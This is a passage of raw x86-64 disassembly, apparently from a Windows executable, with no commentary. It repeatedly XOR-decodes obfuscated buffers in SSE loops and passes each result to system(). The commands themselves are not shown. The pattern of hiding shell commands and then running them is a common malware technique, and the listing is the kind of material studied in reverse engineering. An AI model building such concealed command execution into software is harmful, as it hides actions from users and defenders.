andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140058fb0
cmp r8d, 0x2e
jge 0x1400590e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x1400590b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x6c], al
lea rdx, [rbp + 0x4e08]
lea rcx, [rbp + 0x6c]
call fcn.14006e590
mov r10, rax
cmp byte [rax + 0x5b], 0
je 0x140059260
mov r8d, r14d
cmp r12d, 2
jl 0x140059221
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140059130
cmp r8d, 0x5c
jge 0x140059260
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140059230
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x6d], al
lea rdx, [rbp + 0x552a]
lea rcx, [rbp + 0x6d]
call fcn.14006e5e0
mov r10, rax
cmp byte [rax + 0x62], 0
je 0x1400593e0
mov r8d, r14d
cmp r12d, 2
jl 0x1400593a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x1400592b0
cmp r8d, 0x63
jge 0x1400593e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x1400593b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x6e], al
lea rdx, [rbp + 0x4bf0]
lea rcx, [rbp + 0x6e]
call fcn.14006e640
mov r10, rax
cmp byte [rax + 0x57], 0
je 0x140059560
cmp r12d, 2
jl 0x14005951b
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x140059430
jmp 0x140059560
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x140059530
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x6f], al
lea rdx, [rbp + 0x52e0]
lea rcx, [rbp + 0x6f]
call fcn.14006e690
mov r10, rax
cmp byte [rax + 0x60], 0
je 0x1400596e0
mov r8d, r14d
cmp r12d, 2
jl 0x1400596a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x1400595b0
cmp r8d, 0x61
jge 0x1400596e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x61
jl 0x1400596b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x70], al
lea rdx, [rbp + 0x3e65]
lea rcx, [rbp + 0x70]
call fcn.14006e6e0
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x140059860
mov r8d, r14d
cmp r12d, 2
jl 0x140059821
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140059730
cmp r8d, 0x3b
jge 0x140059860
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x140059830
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x71], al
lea rdx, [rbp + 0x49a0]
lea rcx, [rbp + 0x71]
call fcn.14006e730
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x1400599e0
mov r8d, r14d
cmp r12d, 2
jl 0x1400599a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x1400598b0
cmp r8d, 0x54
jge 0x1400599e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x54
jl 0x1400599b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x72], al
lea rdx, [rbp + 0x49f4]
lea rcx, [rbp + 0x72]
call fcn.14006e780
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x140059b60
mov r8d, r14d
cmp r12d, 2
jl 0x140059b21
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140059a30
cmp r8d, 0x54
jge 0x140059b60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x54
jl 0x140059b30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x73], al
lea rdx, [rbp + 0x4c48]
lea rcx, [rbp + 0x73]
call fcn.14006e7d0
mov r10, rax
cmp byte [rax + 0x58], 0
je 0x140059ce0
mov r8d, r14d
cmp r12d, 2
jl 0x140059ca1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140059bb0
cmp r8d, 0x59
jge 0x140059ce0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x59
jl 0x140059cb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x74], al
lea rdx, [rbp + 0x4b44]
lea rcx, [rbp + 0x74]
call fcn.14006e830
mov r10, rax
cmp byte [rax + 0x55], 0
je 0x140059e60
mov r8d, r14d
cmp r12d, 2
jl 0x140059e21
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140059d30
cmp r8d, 0x56
jge 0x140059e60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x56
jl 0x140059e30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x75], al
lea rdx, [rbp + 0x4441]
lea rcx, [rbp + 0x75]
call fcn.14006e880
mov r10, rax
cmp byte [rax + 0x46], 0
je 0x140059fe0
mov r8d, r14d
cmp r12d, 2
jl 0x140059fa1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140059eb0
cmp r8d, 0x47
jge 0x140059fe0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x140059fb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x76], al
lea rdx, [rbp + 0x4372]
lea rcx, [rbp + 0x76]
call fcn.14006e8d0
mov r10, rax
cmp byte [rax + 0x43], 0
je 0x14005a160
mov r8d, r14d
cmp r12d, 2
jl 0x14005a121
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14005a030
cmp r8d, 0x44
jge 0x14005a160
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x44
jl 0x14005a130
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x77], al
lea rdx, [rbp + 0x40a0]
lea rcx, [rbp + 0x77]
call fcn.14006e910
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x14005a2e0
cmp r12d, 2
jl 0x14005a29b
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x40
jl 0x14005a1b0
jmp 0x14005a2e0
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x40
jl 0x14005a2b0
mov rcx, r10
